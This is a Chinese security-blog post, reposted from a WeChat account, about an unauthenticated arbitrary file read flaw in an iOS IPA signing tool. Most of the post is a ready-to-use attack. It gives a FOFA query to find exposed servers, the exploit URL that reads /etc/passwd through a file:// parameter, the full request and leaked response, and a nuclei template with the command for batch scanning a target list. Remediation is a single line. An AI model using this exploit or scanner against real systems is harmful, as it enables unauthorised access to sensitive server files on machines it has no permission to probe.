苹果IOS端IPA签名工具任意文件读取漏洞 批量扫描POC

admin 2024年9月27日14:34:03评论26 views字数 2002阅读6分40秒阅读模式

使

01

漏洞名称

苹果IOS端IPA签名工具任意文件读取漏洞

02

漏洞影响

苹果IOS端IPA签名工具

苹果IOS端IPA签名工具任意文件读取漏洞 批量扫描POC

03

漏洞描述

苹果iOS端的IPA签名工具可以一键签名APP分身,支持安装未上架App Store的内测应用。用户可以在线批量导入源,若拥有自己的证书,签名功能完全免费且无任何限制,支持证书导入和文件分享,不限制签名数量。然而,该工具存在任意文件读取漏洞,攻击者可在未经身份验证的情况下访问系统重要文件,从而使网站面临极大的敏感数据泄露风险。

04

FOFA搜索语句
body="/assets/index/css/mobileSelect.css"

苹果IOS端IPA签名工具任意文件读取漏洞 批量扫描POC

05

漏洞复现

漏洞POC如下,用浏览器访问即可复现

/api/index/request_post?url=file:///etc/passwd&post_data=1

苹果IOS端IPA签名工具任意文件读取漏洞 批量扫描POC

数据包如下

GET /api/index/request_post?url=file:///etc/passwd&post_data=1 HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0Connection: closeAccept: */*Accept-Language: enAccept-Encoding: gzip

响应内容如下

HTTP/1.1 200 OKConnection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Date: Thu, 26 Sep 2024 13:04:12 GMTServer: nginxVary: Accept-Encodingroot:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdownhalt:x:7:0:halt:/sbin:/sbin/haltmail:x:8:12:mail:/var/spool/mail:/sbin/nologinoperator:x:11:0:operator:/root:/sbin/nologingames:x:12:100:games:/usr/games:/sbin/nologinftp:x:14:50:FTP User:/var/ftp:/sbin/nologin

漏洞复现完成

06

nuclei poc

poc文件内容如下

id: apple-ipa-request_post-filereadinfo:  name: 苹果IOS端IPA签名工具任意文件读取漏洞  author: fgz  severity: high  description: '苹果iOS端的IPA签名工具可以一键签名APP分身,支持安装未上架App Store的内测应用。用户可以在线批量导入源,若拥有自己的证书,签名功能完全免费且无任何限制,支持证书导入和文件分享,不限制签名数量。然而,该工具存在任意文件读取漏洞,攻击者可在未经身份验证的情况下访问系统重要文件,从而使网站面临极大的敏感数据泄露风险。'  tags: cve-2024  metadata:    max-request: 1    fofa-query: body="/assets/index/css/mobileSelect.css"    verified: truehttp:  - method: GET    path:      - "{{BaseURL}}/api/index/request_post?url=file:///etc/passwd&post_data=1"    matchers-condition: and    matchers:      - type: status        status:          - 200      - type: word        words:          - "root:x"        condition: and        part: body

运行POC

nuclei -t apple-ipa-request_post-fileread.yaml -l 1.txt

苹果IOS端IPA签名工具任意文件读取漏洞 批量扫描POC

07

修复建议

升级到最新版本。

原文始发于微信公众号(AI与网安):苹果IOS端IPA签名工具任意文件读取漏洞 批量扫描POC

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月27日14:34:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   苹果IOS端IPA签名工具任意文件读取漏洞 批量扫描POChttps://cn-sec.com/archives/3211904.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息